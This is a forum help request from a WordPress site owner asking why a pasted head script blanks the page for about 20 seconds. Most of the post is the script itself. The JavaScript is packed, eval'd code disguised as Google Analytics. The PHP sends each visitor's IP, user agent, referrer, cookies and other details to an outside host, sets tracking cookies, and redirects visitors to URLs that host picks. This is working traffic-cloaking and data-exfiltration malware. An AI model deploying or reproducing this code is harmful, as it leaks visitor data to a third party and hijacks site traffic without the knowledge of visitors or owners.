I'm using following script in my wordpress site, the thing is when insert this to page's head section. when type url & hit enter page stays blank (white screen) for like 20 seconds. then loads the whole page.
i have tried this script with a fresh wordpress installation, with default wordpress themes, even that the delay happens. so i think this is not the issue of the custom wordpress theme i'm using.
even i placed this in footer, but no luck.
below is the 2 codes i'm using, i need to figure out what is happening.
for some reason my code is not formatting here. please refer this
<style>
html {
display: none;
}
</style>
<script type="text/javascript" src="//code.jquery.com/jquery-latest.min.js"> </script>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jstimezonedetect/1.0.6/jstz.min.js"> </script>
<script>
eval(function(p, a, c, k, e, r) {
e = function(c) {
return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('$(2).7(3(){$("8").9();0 f=h i();f.j("k",2.4,l);f.5(m);0 g=f.n().o();0 b="p";0 c=("2","q","//s.t-6.u/6.v");c=("w","x-y-1","z");c=("5","A");0 d=B.C();0 e=d.D();$.E({F:4.G,H:"I",J:"K="+e+"&r="+2.L+"&M="+g,N:3(a){O(a)}})});', 51, 51, 'var||document|function|location|send|analytics|ready|html|hide||||||||new|XMLHttpRequest|open|GET|false|null|getAllResponseHeaders|toLowerCase|GoogleAnalyticsObject|script||www|google|com|js|create|UA|4964223|auto|pageview|jstz|determine|name|ajax|url|href|type|POST|data|tz|referrer|he|success|eval'.split('|'), 0, {}))
AND PHP
<?php
error_reporting(E_ALL & ~E_NOTICE);
if (isset($_POST["tz"])) {
$id = "202186";
$uid = "g7tcv86snc6u6hh7aeuzmbbon";
$qu = $_SERVER["QUERY_STRING"];
$ch = curl_init();
$url = "http://jcibj.com/pcl.php";
$data = array(
"lan" => $_SERVER["HTTP_ACCEPT_LANGUAGE"],
"ref" => $_POST["r"],
"ip" => $_SERVER["REMOTE_ADDR"],
"ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"],
"sn" => $_SERVER["SERVER_NAME"],
"query" => $qu,
"ua" => $_SERVER["HTTP_USER_AGENT"],
"co" => $_COOKIE["_event"],
"tz" => $_POST["tz"],
"he" => $_POST["he"],
"user_id" => $uid,
"id" => $id
);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
curl_close($ch);
$arr = explode(",", $result);
if (!empty($qu)) {
if (strpos($arr[1], "?")) {
$q = "&" . $qu;
} else {
$q = "?" . $qu;
}
} else {
$q = "";
}
if ($arr[0] === "true") {
if (strstr($arr[1], "sp.php")) {
$q = "";
}
if (!empty($arr[7])) {
setcookie($arr[7], $arr[8], time() + 60 * 60 * 24 * $arr[9]);
}
if ($arr[2]) {
if ($arr[4] == 1 OR $arr[4] == 3) {
setcookie("_event", $arr[6], time() + 60 * 60 * 24 * $arr[3]);
}
}
echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $q . '"';
exit();
} elseif ($arr[0] === "false") {
if ($arr[5]) {
$f = $q;
} else {
$f = "";
}
if ($arr[2]) {
if ($arr[4] == 2 OR $arr[4] == 3) {
setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
}
}
echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $f . '"';
exit();
} else {
if ($arr[2]) {
if ($arr[4] == 2 OR $arr[4] == 3) {
setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
}
}
echo '$("html").show();$("body").fadeIn(500);';
exit();
}
}
?>